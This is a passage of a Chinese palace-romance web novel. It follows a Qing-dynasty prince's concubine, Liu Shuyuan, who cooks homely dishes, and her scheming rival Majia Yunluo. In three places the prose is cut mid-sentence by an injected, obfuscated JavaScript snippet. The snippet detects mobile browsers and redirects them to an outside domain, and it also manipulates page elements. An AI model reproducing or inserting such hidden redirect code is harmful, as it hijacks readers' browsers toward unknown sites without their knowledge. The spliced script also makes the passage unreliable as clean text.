“也摔地上了?”刘菽圆正低头剥栗子,压根没注意玉心的表情,青芜院里没备灶台,她便掰开栗子,蘸着碟里的白糖小口吃着,“那算了,栗子也挺好吃的。” 之后膳房送来新做的素锅,胤祺也没再过来,刘菽圆美美的饱餐一顿,又吃了几个栗子,剩了十几个谁也吃不下去,她就拿出个白瓷小碗捣成了细腻的栗子泥,准备明日做栗子奶茶喝。 玉心见她没再追问,以为这事翻了篇,正暗暗得意,忽地听刘菽圆轻飘飘的声音,像自言自语,也像说给她听。 “咱们这院子是不是灯笼挂的太少了,还是路不平整,你们一个两个才都摔了?” 4. 第 4 章 第四章 玉心猛地哆嗦了下,面上依旧风平浪静,刘格格木讷,根本不会有所察觉,纵是发现了什么,没有证据也不能拿她怎么样,想到这儿,玉心忍不住扬起了嘴角,装作不知情便应付了过去。 另一边的马佳氏得了消息,连忙指挥宫女玳瑁和玛瑙,将膳房送来的吃食摆在桌上,自己则守在前后院必经的抄手游廊。 “行了,你们别跟太紧了,有李德禄伺候即可。” 身边没有旁人,胤祺终是能卸下心防,想到刚才撒到地上的素锅,笑着拍了拍李德禄的肩膀:“李德禄,爷真是没白疼你,这法子想得不错,一会儿有赏。” 李德禄也是个人精,忙顺着主子的话接了:“多谢五爷赏。”他跟了胤祺这么多年,主仆俩没什么秘密,也没什么避讳,四下无人,他便嬉皮笑脸地追问:“只是奴才糊涂,不知哪里合了您的心意,还请爷说个明白?” 胤祺脚步一顿,李德禄的双眼更是无辜,确实不知发生了什么。 “那刘格格的素锅,不是你动的手脚?” “这可就冤枉了奴才了。奴才自小是逃荒来的京城,这您是知道的啊,奴才可干不了那糟蹋粮食的事儿。” “那会是谁……” 李德禄默不作声地跟在身后,宫里的腌臜事两人心里明镜似的,这些年亲身经历的也不计其数,只一瞬彼此便心知肚明。 胤祺冷笑一声,看来他小看了这两位侍妾,这背后另有隐情啊。 一路沉默不语,直到路过东配殿时,李德禄眼尖地发现了等候的马佳氏,暗暗提醒:“爷,您瞧,是马格格。” 被撞见后,马佳氏也不躲藏,大大方方领着两个宫女行了个福礼:“五爷好。”她抬头时,旗头上流苏纹丝不动,举止投足都像拿尺子比着般规整。 想起他这位侍妾的族亲乃是赫赫有名的图海将军,胤祺的声音也软了几分:“怎么在外等着?用过膳没有?” 本来下一句是“天色不早,用过膳便早些歇息吧。”谁料马格格竟直接说道:“奴婢听闻青芜院的事情,知道五爷未用晚膳,便特地在此等候,五爷每日读书骑射,十分辛苦,不吃东西怎么行呢?太后娘娘与宜妃娘娘甚是关心五爷身体,五爷清减了,奴婢也颇为挂怀,五爷就当陪奴婢用些吧。” 话音刚落,一旁的李德禄已笑着上前:“多谢马格格挂心。不过五爷午后在书房用了不少芸豆卷和白果糕,这会儿还没消化,奴才给爷端碗消食的山楂茶便是了,五爷还有课业未完,就不劳烦马格格费心了。” 玳瑁撇了眼李德禄,这太监真是多嘴,五爷都还没说什么,他一个奴才竟敢当着主子面拒绝格格? 马格格脸上不见半分不悦,只是犹豫着朝屋里望了一眼:“既然五爷有事有忙,奴婢不便打扰,只是五爷千万要顾好自己的身子,奴婢不能常伴左右,还请李公公代为照顾,奴婢白日无事,便照着五爷往日的身形做了几套衣裳,方才看着怕是做得小了一些,等奴婢回去改改合身了,再劳烦李公公呈给五爷试试。” 马佳氏这话字字句句都透着对胤祺的关心,胤祺听着,忽然想起方才刘菽圆也说过“每日闲着”的话,心里莫名泛起一丝愧疚。 他一整天都在上书房,散学后又加练骑马射箭,算起来自两位格格进门,自己的确不曾时常陪伴,此时见马佳氏依旧恭顺地屈膝要行礼,他忙往前一步伸手将她扶起,温声道:“衣裳改好让李德禄取来便是,你还没用晚膳吧?” 玳瑁见有机会,赶忙抓住空隙插了进去:“格格见五爷清减了,急得好几夜没睡,吩咐奴婢们打听爷都用了些什么,听闻五爷前些天晚上都在宁寿宫用膳,格格这才放心了。”说完,话锋一转,“今儿一早听说爷要回来,格格一直盼着,晌午也没吃东西,结果五爷竟去了青芜院……” “玳瑁!”马佳氏厉声打断她,眉头紧蹙,“爷去哪个院子也是你能议论的,还不退下!” 话都说到这份上,胤祺再拒绝反倒显得刻意:“既备了膳,那就去坐坐吧。” 两人一前一后往绛水院去。 主子来了,宫人们立刻将膳食从紫檀瑞兽纹提盒中拿了出来。 膳房送来的菜式多样,荤素搭配,海鲜汤品,主食点心应有尽有,不多时连小桌都放满了。对着满满当当的三个桌子,胤祺却暗暗皱了皱眉。 马佳氏向后示意了下,侍奉的人很有眼色地退出去了。 “五爷,您尝尝这道煨鹿肉。” 盘中红润的肉裹挟着煨出的琥珀色浓汁,泛着透亮的油光,浓油赤酱,本该是诱人的滋味,胤祺却捂了捂鼻子,那醇厚的味道涌入鼻腔,肥腻味像堵在了喉头,实在难受。 “奴婢还让人准备了千层糕和芝麻小烧饼。”马佳氏见他没动筷,忙笑着补话,“都是用猪油炸的,里面是您爱吃的豆沙馅儿,五爷若不想吃,不如尝尝这道鸡油蒸笋?鲜嫩油香,还有冰糖银耳汤,清爽甜润,对身子好。”说着便对玳瑁使了个眼色,“快给五爷盛一碗来。” 马佳氏自信极了,这些喜好可都是她花重金从五爷的哈哈珠子那得来的,虽说胤祺一向是蒙古口味,但毕竟是在宫里长大,康熙效仿汉学多年,不只学习汉人的语言文字、诗书礼记,饮食也受到影响,这几道菜都是宁寿宫常备着的,五爷肯定喜欢。 胤祺忍着反胃,堪堪用了几口银耳汤,喉咙就甜腻得像被银耳黏住了,他轻咳两下,终是扛不住胃腹的难受,让李德禄编了个借口从屋里逃了出来。 院内的夜风吹散他胸口少许的难受,可刚回卧房坐下,胤祺便再也撑不住,身子一软倒在榻上,捂着腹部缓了好一阵子。 李德禄忙支开闲杂人等,只留两个心腹小太监在屋外守着,从锦盒里取出一枚消食丸,小心地喂到他嘴边。 “爷既然不想吃,何苦去马格格院里受这份罪?”李德禄替胤祺顺着气,嘴里忍不住念叨,“您瞧这脸憋得通红,额上都渗汗了。” 胤祺双眉紧蹙,额上泛起细小的汗珠,整个身体蜷缩起,一只手捂着腹部,发出厚重的呼吸声。 李德禄不停地给胤祺擦着汗,直到过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221940|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了许久,他才缓过神虚弱开口:“毕竟是赐下的侍妾,进了我的院子却总让她独守空房,是我的不是。” 李德禄听了更气,那也不能故意弄这些吃的作践五爷的身子啊。 “五爷,您就是好说话,依奴才说该让膳房那些人好好挨一顿板子,看他们往后还敢不尽心!” 膳房的人怎知他口味? 胤祺缓缓睁开眼,没说话,只给了李德禄一个眼神。 李德禄一愣,随即反应过来:“居然敢贿赂爷的身边人,这胆子也太大了!奴才明日一早就去查,定把那吃里扒外的蠢货揪出来!” 亏他还以为马佳氏心思纯良,端庄温婉,一心只为伺候五爷,不会搞背后那一套,竟是他看错人了。 马佳芸珞是这样的人,那刘菽圆故意让人打破素锅,想来也不是省油的灯。 看着脸色苍白,清瘦单薄的胤祺,李德禄不由叹了口气。 五爷不思饮食,可人是铁饭是钢,不吃怎么行,为了不让太后她老人家担心,也不能硬往肚子里塞,不把自己身子当回事啊。 * 半夜,皓月当空,万里无星,院内一片寂静。 刘菽圆戌时便卸了妆,换了身素净的寝衣,洗漱后躺到床上准备睡觉,炭火足足的,她盖着薄被不多时就热醒了,晚膳都是清淡的素菜根本不顶饿,几个地瓜栗子的热量,也早就在和春芽他们玩翻花绳时消耗光了。 她眯着眼躺了许久,翻来覆去也睡不着,肚子又时不时咕噜咕噜响几声,像在抗议。 刘菽圆从纱帐中探出脑袋一听,屋外隐隐传来几下呼吸声,想来是值夜的人睡着了。 她虽是阿哥的侍妾,也算半个主子,夜间春芽或小全子就在门外值夜,但她没那么讲究,也不在乎值不值夜,劝了半天劝不动便由着他们,但枕头被子都给备好了,真睡过去她也不会惩罚什么。 刘菽圆穿上粉面布料的平底鞋,裹紧身上的披风,屏住呼吸,踮着脚偷偷打开了个门缝儿。 院里依旧凉飕飕的刮着风,她在柜里翻了半天,只找到一碗凉了的小米粥。 “这么凉的天吃生冷的怕是会拉肚子。” 刘菽圆端着碗四处走,想找个能热食物的器具,堂屋的炭火还冒着火星,她眼尖地瞧见下面还放着几个地瓜,表皮都焦黑了。 “还热乎着呢。”刘菽圆欣喜地笑出声,笑意刚到嘴边又收了回去,她烤栗子吃多了,嘴边长了个泡,一笑脸上的肉就碰到那泡,暗暗地疼。 她往炭盆里加了几块炭,在火上架起铁架,放上小铜锅,把小米粥倒了进去,小火慢煨不一会儿就冒出阵阵米香味儿。 掰开地瓜,焦糖色的瓤软得发亮,把地瓜肉放进锅里,和米粥混在一起搅了两下,原本清淡的粥瞬间添了几分甘甜,地瓜和米粥不浓不腻,滑进胃里,暖呼呼地别提多舒服了。 “人间美味啊!” 刘菽圆光顾着吃,根本没注意院里还有个颀长的身影,等她吃饱喝足,拍了拍滚圆的肚子就心满意足地回房睡觉去了。 5. 第 5 章 第五章 不知不觉中,紫禁城便来到了四月。 天气越来越暖和,宫女太监们陆续将主子褪下的厚重衣物收起,准备迎接即将到来的春天,内务府开始预备贵人们的春装,人人各司其职,倒也井然有序。 各地巡抚将新摘的樱桃、桑椹,快马加鞭地送到京城供各位主子尝鲜,每年四月的头一茬都格外鲜甜,汁水充足,浙江也进贡了第一批早熟的枇杷,可路上出了差错,等送到京城,十几箱枇杷也就挑出一百个能给主子享用。 阿哥们依旧卯时晨读,在上书房里临摹字帖,诵读史学经典,胤祺倒是每晚都回阿哥所用膳,可每次都单独一人,马佳氏倒是上赶地请他去院里,不知怎的,胤祺总是寻各种借口搪塞,一来二去的,马佳氏也就不去了,自讨没趣。 刘菽圆也装模作样去送了几次糕点,不过送的都是她爱吃的,这样胤祺不收的话她还能拿回来自己吃,免得浪费。 枇杷虽少,但其他水果还是够分的,刘菽圆沾了五阿哥胤祺的光,得了点樱桃和桑椹,宫里没有冰箱,虽有冰窖储存冬冰,但四月非用冰旺季,日常只能放在井中,用冰凉的井水暂时冷藏,可到底撑不了多久,她便想着做些什么东西来吃吃。 刘菽圆取了一些樱桃桑椹捣碎榨成汁当饮料喝,春芽他们也得了一杯,对这味道赞不绝口,剩下一些熟透了的,她就让膳房制成了果酱,去核后放点白糖慢火熬煮,收汁之后变得粘稠就做好了,早上吃发面饽饽的时候在中间抹上点,口感一下就提升了,本来一小罐果酱她还怕来不及吃就坏了,没想到甚至不够分。 天气渐暖,绿叶抽新,一副生机勃勃的景象。 之前每到这个时候,刘菽圆便会带着祖母去郊外踏青,放放风筝,现在她只能缩在这四四方方的院子里,可纵是这样也得好好享受生活。 小全子以前的师父是个木匠,他会些手艺,两个太监宫女花了半个多时辰便在院里扎了个秋千,刘菽圆坐在上面轻轻晃荡,晒着阳光吹着微风,别提多惬意了。 可偏偏有人不想过安静日子,总想搞点事。 绛水院,马佳氏听着小安子的回话,一下下梳着长发沉思:“五爷那里当真一切正常?太后和宜妃那儿呢?有什么动静?” 小安子跪在地上,声音压得低低的:“回格格,五爷每日在上书房同各位爷读书,偶尔下学后去十爷院子里坐坐,并无异常。太后娘娘传了话叫爷去宁寿宫用晚膳,但爷每次去了,不到半盏茶的功夫就回来了。宜妃娘娘近来给四公主准备嫁妆,十一阿哥又得了风寒,娘娘忙得脚不沾地……倒是让人去阿哥所给九爷送过一次东西,没问起咱们五爷。” 五爷自小被太后抚养,太后不喜宜妃,她自然不会主动讨太后嫌恶,不得不说,宜妃是个有福气的,虽是包衣出身,却凭借一副好容貌宠冠后宫,“惠宜德荣”四妃中,她只排在康熙长子胤禔之母惠妃之后,连生三子,还养了亲姐郭贵人的女儿,如今有儿有女,在后宫也逐渐站稳了脚跟。 康熙公主不多,早年间宫里的孩子更是难养,夭折了不少,康熙爷便抱养了恭亲王常宁的长女养在宫中,序齿大公主,说来也奇,自从养了大公主,后宫里接连出生了不少孩子,大公主在康熙二十九年嫁给了科尔沁部的台吉,博尔济吉特班第,其余几个公主都陆续抚蒙,四公主也是如此,听说已经许配给蒙古喀尔喀部的土谢图汗部,叫敦多布多尔济的。 宫里的孩子向来是“子凭母贵”,孩子又是母亲最大的倚仗,马佳芸珞下意识抚上自己的小腹,悄悄勾起唇角。进宫之前,额娘特意寻了位擅长妇科的名医给她调理,她的身子结实得很,定能怀上子嗣。 毕竟马佳氏可是有前车之鉴的,荣妃虽然生养最多,可到头来只活下来一儿一女,生的出但养不大,平白糟践身子,她可不要。 “只要我生下五爷的长子,侧福晋的位子还不是我的掌中之物?”马佳芸珞在心里慢慢盘算,脸上露出得意的笑容。 * “爷,早上还是稍微用些吧,山楂锅盔和奶茶已经让膳房备好了。”李德禄一边给胤祺整理衣裳,见腰带又松了一寸,无奈劝道,“内务府新做的衣裳已经改了好几次,怕是太后娘娘知晓了会担心的。” 进了四月,天气渐渐暖起来,胤祺的胃口也好了些,偶尔也用点清淡小菜,像油菜木耳,焖豆腐,蒜蓉炒茼蒿,配着粥偶尔也能吃个半盘。 李德禄在一旁瞧着,话在舌尖转了好几圈,又咽了回去。他若能劝动阿哥用膳,一早便有用了,可他的差事如此,主子再不爱听,也得尽职劝几句。 正琢磨着该怎么开口,胤祺倒先放下了筷子。 他想到昨晚膳房送来的荷叶茯苓粥,这粥是清热健脾的,他一向爱吃,可他总觉得味道不对,李德禄正纳闷是不是粥有问题,胤祺突然吩咐:“让膳房做份小米粥,再烤两个地瓜,不,让他们直接把地瓜切了煮进小米粥里。” 李德禄猛地抬起头,他不会是没睡醒吧,五爷居然自己点膳了? 他愣了片刻,见胤祺看着他,才后知后觉地反应过来:“哎!奴才这就去!”说完,忙叫过一个小太监,仔细吩咐了去传膳,自己则又惊又喜。 五爷总算有了胃口,可太好了。 负责阿哥所膳食的掌勺太监叫周福海,听到五阿哥要吃小米地瓜粥,握着大勺一时不知如何是好。 宫里饮食讲究精细,便是一碗平淡无奇的面也暗藏玄机,花费无数心思,小米地瓜粥口感软糯香甜,温和滋补,清淡养胃,是个好东西。 可它是民间的玩意儿,上不了台面,他们这些下人入口的东西怎么给主子端上桌呢? 周福海越想越愁,额角都沁出了细汗。 五阿哥的饮食一直是膳房最上心的,只因这位主子一向没个喜好,往日他们按着阿哥份例的菜单做了膳食送过去,就算不合口味五爷也从未追究苛责,但主子不计较是主子的气度,他们底下人哪敢继续糊弄?宫里谁不知道胤祺可是太后娘娘的心肝,从小养在宁寿宫的,吃食上稍有差池,惹得太后她老人家发起火来,整个膳房的人都得受罚。 周福海没个思路,只能先按主子的意思煮粥,小米咕嘟咕嘟地冒着泡,如同他现在的心情七上八下,紧张的不行。 关键时候,还是小全子的话给他提了个醒儿。 “周爷爷,您上次送我的几个蜜薯,主子放进炭盆里烤着吃了,高兴的不得了,还赏了我些栗子泥,我按着主子的法子做了杯奶茶,给您放桌上了。” 周福海瞧他稚嫩的样子,忽地想起,小全子是五爷院里的人,刘格格上个月的确连着喝了五六日小米粥,难道五爷是念着这一口? 他抱着几分试探,往熬好的小米地瓜粥上撒了些枸杞,旁边摆上五爷近日喜欢的什锦酱菜,最后又添了一小碟山药糕和杏仁饼,这才装进食盒,妥帖收好,等五阿哥院的太监来取。 一整天,周福海心里揣着块石头似的,坐立难安,直到取晚膳的太监来传话,他才借着递膳的空档,小心翼翼地打听了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221941|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句。 “早膳啊,我们五爷用得不错,小菜只挑了几口,点心没动,倒是粥喝得一干二净,周公公差事办得不错!” 送走太监,周福海后背都被汗打湿了,忙掏帕子擦了擦额角。他以前一直觉得五阿哥的后院是马格格更得主子青睐,现在看来,一向低调的刘格格才不可小看啊…… * 刘菽圆一直有午睡的习惯,她睡醒后和宫女们打了会儿络子,就又觉得饿了准备叫些点心吃,小全子正好提着食盒从外面回来。 “格格,刚磨好的芝麻糊快来尝尝。”小全子拿出三碗芝麻糊放在桌上,芝麻磨得极细,表面结着层薄薄的油皮,还冒着油光,刘菽圆勺子一舀,芝麻糊刚好能挂住勺沿,看着就不错! “好喝!”刘菽圆才抿了一口就眼睛一亮,连忙让他们几人也分着尝尝。 春芽轻舀了一点点放进嘴巴,入口便是浓浓的芝麻香,甜味适当,完全不腻,忍不住点头:“确实不错。” 刘菽圆舀着芝麻糊,余光扫了圈周围,小全子、春芽都在,独独少了一人:“玉心呢?她怎么不在,叫她也过来。” “玉心?”小全子撇了撇嘴,“人家是什么身份?哪看得上这口?”先前跟着孝懿皇后,玉心什么山珍海味没吃过?也就他们这些没见过世面的,才把这当宝贝。 “小全子!”春芽用胳膊顶了一下他,“少说两句!”玉心平时对他们阴阳怪气也就罢了,这话难道是在说主子也没见过,没吃过好东西吗? 小全子反应过来,赶忙闭了嘴,生怕格格听到怪罪,可等他一抬头,自家格格正专注着挖着碗里的芝麻糊,压根就没有把他们说的话听进去。 “格格……”小全子刚想再说些什么,就被一阵笑声打断。 “哈哈哈哈哈,你的牙!” 只见小全子嘴唇一圈发着黑,牙上全是黑芝麻,像被墨汁糊了嘴巴,实在好笑。 “这芝麻糊焦香焦香的,磨的特别细腻,还放了小圆子,真好吃。”刘菽圆往嘴里送了一勺,美味的直跺脚,“小全子还是你有办法,能让周公公亲手磨这芝麻糊,肯定费了不少功夫,太厉害了!” “我也没做什么……”小全子也不清楚为什么周福海突然给他送了芝麻糊,起初还不好意思收,再三推让,最后架不住周福海的盛情,便小心地拿回来孝敬刘菽圆了。 “对了,戴嬷嬷喜欢黑芝麻,趁着还热乎,你先给她送一碗吧,要不一会儿凉了口感就变差了。”刘菽圆舔了舔嘴唇,勺子一下下刮着空碗底,舔干净后咂巴了下嘴巴,意犹未尽地拍着肚子,“没吃饱,还有什么吃的吗?” “有的!”春芽眼睛一亮,放下碗筷,小跑着从堂屋拿出个描金食盒,打开一看是些精致的小食:有枣泥馅饼,绿豆馅的素食饽饽,黄油酥,还有一盘风干肉和一小壶奶茶。 刘菽圆忍不住问:“谁送的?” 小全子刚擦了擦嘴,抢着回答:“是五爷,五爷特意命人给格格送来的。”他加重了“特意”两字,说罢笑眯眯地接过装有芝麻糊的食盒,临走时还不忘打趣,“看来五爷心里,还是记挂我们格格的。” 刘菽圆没接话,只瞥了眼那奶壶,茶汤瞧着比她平时喝的那些深了点,香味浓厚,茶壁温温的也不烫嘴,她便直接端起抿了一口。 “咸的?!” 虽然第一口有些奇怪,可多喝了几口竟意外的好喝,茶味中带着明显的咸香,浓郁厚重,刘菽圆正准备捏块黄油酥尝尝,屋外忽然传来一阵脚步声。 6. 第 6 章 第六章 马佳芸珞远远看到几人围坐在一起,即便她素来镇定,此刻也难掩震惊之色。 屋里飘着浓郁的芝麻香,抬眼便见刘菽圆坐在西配殿的炕桌前,面前的空碗底还沾着几处灰黑色痕迹,旁边摆放着紫檀鎏金的三层食盒,瓷碗摆了一桌子。 刘菽圆在屋里用碗芝麻糊根本不算什么,可旁边另一个碗里竟摆着两个勺子。 不用猜,肯定是她院里的春芽和小全子一起吃的。 青芜院竟如此没规矩? 主子与下人一同进食,难道她刘菽圆是当这紫禁城里的规矩都是摆设不成? 心里这般想着,但马佳芸珞的表情瞬间便恢复如常,仿佛刚才什么都没有发生,却在帕子掩面时微微勾了勾唇。 刘菽圆见来人是她,忙整理了下身上浅紫色的旗装,规规矩矩地行了个万福礼,两人品级相同,马格格虽打心眼里瞧不起她,也不得回了个蹲安,道了声好,而后主动拉起她的手,亲亲热热地寒暄起来。 “你我一同进了五爷的后院,还是头一次说话吧,先前妹妹一直不来,我也不好意思贸然打扰。” 刘菽圆上辈子当社畜时见惯了形形色色的人,这辈子又有个毒舌的祖母提点,眨两下眼睛便知道对面是人是鬼,所以马佳芸珞进门时眼神中一闪而过的惊愕与嫌弃,她自然心知肚明。 但来者是客,话都说破了还有什么意思。 “我笨嘴拙舌的,手脚又笨,就怕说错什么惹姐姐不快,可心里还是一直惦记姐姐的。”刘菽圆笑着回道,目光不经意扫过她的装扮。 清朝等级严明,阿哥的侍妾格格是最低级的,说白了连个正经妾室都算不上,穿着也就比一般宫女体面点。可马佳芸珞这身明显价值不菲,料子是江南新贡的云山锦,头上那银钗看似寻常,可暗处镶嵌的都是宝石,连腕上的镯子都雕着缠枝莲,这身打扮,说是侧福晋都有人信。 除了打扮,马佳氏的容貌也很出众。她眼睛不大却灵动有神,笑起来眼波流转,像轻摇的小舟,鼻梁高挺,嘴唇小巧,身材十分匀称,而且脖颈细长,穿上旗装更显得整个人气质非凡,仿佛画里走出的美人。 “这是玫瑰苹果饮,将苹果切片用绿茶煮软,味道清雅,还能美容养颜呢,姐姐试试。”刘菽圆笑着介绍面前的茶水,她虽然不喜欢与胤祺的其他女人交往,可谁让马佳芸珞长得好看,便大方地分享刚炸出来的怪味豆,又往对面推了推小山似的五香味锅巴表示友好。 玳瑁紧紧盯着刘菽圆的动作,见摆出来的都是她没见过的东西,立马急了:“格格,您最近胃口不好,昨个夜里疼得觉都睡不安稳,还是少用些吧。”那什么饮看起来就怪怪的,她家格格身子娇贵,可不是什么乱七八糟的都能入口的。 主子好心招待,玳瑁什么意思啊!春芽顿时气不打一处来,她自己得了一小杯都舍不得喝,玳瑁竟摆出这副嘴脸!不识货! 她正想反驳,却被马佳芸珞抢了先。 “无妨。”马佳芸珞抬了抬手,示意玳瑁退下,目光下移落到漂浮的玫瑰花瓣上,“闻着很香呢。” 说罢,她主动端起杯子,轻抿一小口,细细品了品,“入口生香,茶味中能品出果香,玫瑰的味道也一点都不抢风头,早就听闻妹妹擅长美食烹调,想不到连这寻常可见的茶叶,在妹妹手下都别具一格,味道更甚从前了呢。” 她嘴上夸着,可之后却再也没碰过那茶杯。 “整日待在这院子里实在无聊,五爷也不常回来,偌大的院子只有你我姐妹二人,难免冷清了些。”马佳芸珞状似无意地转了话题,“方才进门听屋里热闹的很,你们在聊什么?” “聊奶茶。”怕回答得不准确,刘菽圆特意又补了一句,“聊不同口味的奶茶。” 马佳芸珞一愣,脸上一副“你在逗我”的神情:“奶茶?”这有什么好聊的? 刘菽圆却认真地点了点头,她在公司天天和同事凑单买奶茶,店里很少见咸口的奶茶,她头一回喝觉得还挺特别。 不过这本地闺秀,和她们的口味也一样吗? “姐姐,你喝奶茶是喝甜的,还是咸的?” 屋里几个都是大清朝土生土长的本地人,口味这东西又大多是从小养成的,像她这种都能接受的还是少数,春芽她们几个就欣赏不来咸奶茶。 刘菽圆想到每年一到过节网上总会出现的咸甜之争,忽然心血来潮也想问问马佳芸珞:“如果吃豆花,你是吃甜的还是咸的?汤圆呢?月饼呢?爱吃肉馅的还是甜味的?” 马佳芸珞想了想,总觉得刘菽圆不怀好意,这问题没那么简单,看似随口一问,却像故意试探她似的,趁刘菽圆不注意,她飞快地与玳瑁交换了个眼神,这才放缓了语气回道:“甜的也好,咸的也罢,都各有风味……不过我近日食欲不佳,怕无福消受,什么都吃不下呢。” 刘菽圆听了,只淡淡应了声:“这样啊。”没再多问,反而将春芽唤了过来。 “春芽,快把刚才送来的点心拿出来。”刘菽圆笑了笑,“我刚才尝了那咸奶茶,说实话一开始还真有点不习惯,喝惯了再往里放点炒米什么的,还挺好喝,现在离晚膳还有阵子呢,我得先吃点东西,免得饿坏了。” 马佳芸珞看那满盘的点心,多是奶制品,暗暗拿帕子捂了捂口鼻:“妹妹真是好胃口……” 她忍住离开的冲动,想到来这里的原因,不动声色地往旁边挪了挪座位:“我最近打算用些小米粥养养胃,纯小米熬出来的粥清甜绵糯,用多了难免口生腻,我就想往这粥里加点别的,妹妹你见多识广,你觉得加些什么好?” 提起吃,刘菽圆可有得唠了。 “小米粥可是白搭的,南瓜山药红薯红枣桂圆,随便什么都可以,或者红豆绿豆黄豆,熬一熬都出沙,再搁点红糖也成啊。” “这么多做法啊。”马佳芸珞作恍然模样,“我从前只听闻燕窝小米粥,不然就放牛乳、桂圆、莲子、百合,最多加些火腿、鸡丝,妹妹说的倒是少见。”她还是高看这女子了,出身乡野,爱吃的也都是些上不了台面的。 刘菽圆干笑了两声:“宫里的吃食自是精细,想来姐姐家里定是极疼爱的,我刚才说的都是民间的玩意儿,实用便捷,姐姐没听说也正常。”她不知马佳氏为何问起此事,但她是真心爱吃这些粥,便再次推荐道,“不过真可以尝尝,不比你吃过的那些差,都能养胃,助消化的。” “受教了。” 两人又聊了些其他的,见她始终没动筷子,刘菽圆叫人端来一盘红豆糕:“我看姐姐都不吃,是不喜欢吗?”刘菽圆就这毛病,看见美女就想投喂,“这个红豆糕是我专门改了配方的,比原先膳房做的更浓厚绵密,来点吗?” 马佳芸珞笑着说:“实不相瞒,我自小就吃不得红豆,稍微用些便会出疹子,不然妹妹的好手艺我一定要用些的,是我没有口福。” “原来如此。”刘菽圆也不再强求,只让春芽装了些点心、风干肉什么的叫她回去当个零嘴用。 回去的路上,马佳芸珞忍不住冷笑。 这刘菽圆……看着简单,真有心机。 “人家暗暗炫耀,你还以为她在跟你套近乎,想和你做好姐妹呢。”马佳芸珞瞥了眼身旁的玳瑁,“你瞧见方才桌上的黄油酥了吗?” 玳瑁不解:“只是寻常的蒙古吃食,有什么特别的?”要说好的,绛水院有的是,主子一向不喜奶味,何故看上那东西。 “吃食是寻常,可那装酥点的盘子却是上好的珐琅彩瓷,宫里有资格用这样好的东西,还偏爱黄油、咸奶茶的人,可没几个。”马佳芸珞语气带着几分讥诮,“宫里蒙古嫔妃不多,最尊贵的莫过于咸福宫的宣妃了。” 玳瑁听得更糊涂了:“可宣妃娘娘为何要拉拢一个阿哥的侍妾?”她与五阿哥平时也不来往啊,最多就是在太后的宁寿宫见上几回,虽说与太后都姓博尔济吉特氏,但宣妃一向寡言疏离,说不通啊。 有时真觉得玳瑁蠢得厉害,马佳芸珞没好气地白了她一眼:“不是宣妃。” “是太后。” 虽然刘菽圆是太后宫里的人,但她早已打听清楚,不过是个最末的三等宫女,在宫里负责守夜、打扫、准备膳食,若有若无的角色罢了。 可这样的人,居然悄无声息地入了五阿哥的眼! 如果不是玉心告诉她,她绝不会猜到一碗粥背后有这样的门道,如今五爷只将宁寿宫送来的点心赏了她,而她马佳芸珞没有! 刘菽圆有太后撑腰,她也并非孤军作战,在这宫里,孤家寡人可是活不长的。 * 那边马佳芸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221942|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珞暗自下定决心,这边刘菽圆又惦记上几个月后到来的夏季。 按照宫里的规矩,侍妾根本没有资格和阿哥们一起去畅春园避暑,往年七八月,她就躲在宁寿宫里吃点自己做的酥山解暑。 太后礼佛,一向心善,也可怜他们这些没能出宫的下人,宁寿宫每天早晚都供应绿豆汤,还能领到一份冰,虽说分量不多,但做点好吃的也足够。刘菽圆便用这些冰做点爽口吃食,给大家消暑。 “再过几个月,膳房的水果种类就多了,到时候咱们做水果捞,就做干拌和酸奶两种,还能做酥山,熬点果酱或者红糖浆,配点红豆、绿豆、山楂、西瓜,再用木薯粉搓点芋圆,想想都美。”刘菽圆双手合十,满脸期待,“想必御膳房的花样更多,说不定还能做出雪糕来呢。” 春芽原本听得满心欢喜,忽然想到刚才马佳氏的话,觉得哪里不对劲,她皱眉道:“不对啊格格,小米粥的做法,周公公随便就能做出几十种,马格格何必特意来问您?青芜院与绛水院向来井水不犯河水……您说她安的什么心?” “她能安什么心?爬高枝儿的心呗。” 小全子刚顶着凉风将院里的落叶打扫干净,放笤帚的时候还被上面的木刺划了一道口子,现下一肚子气:“格格,您真该管管玉心了,她也太过分了。” 他早就看玉心不顺眼了,索性开了口也不管三七二十一了,一股脑地吐黑泥:“她平日就不怎么露面,虽说专管院里打扫的活儿,可格格您瞧,地上总飘着落叶,哪回不是我和春芽收拾干净的?刚才我去给戴嬷嬷送芝麻糊,路上碰到她特意说您也给她留了份,好心叫她尝尝,可人家根本不领情。” 春芽在旁边不住地冲他使眼色,小全子直接无视,好在说完心中不满后总算畅快了些,可抬眼瞟到刘菽圆的神色,却叫刚他散了的气又重新堵回了胸口。 只见刘菽圆指尖无意识地扣着桌面,语气轻飘飘的,只说了句:“我知道了。” 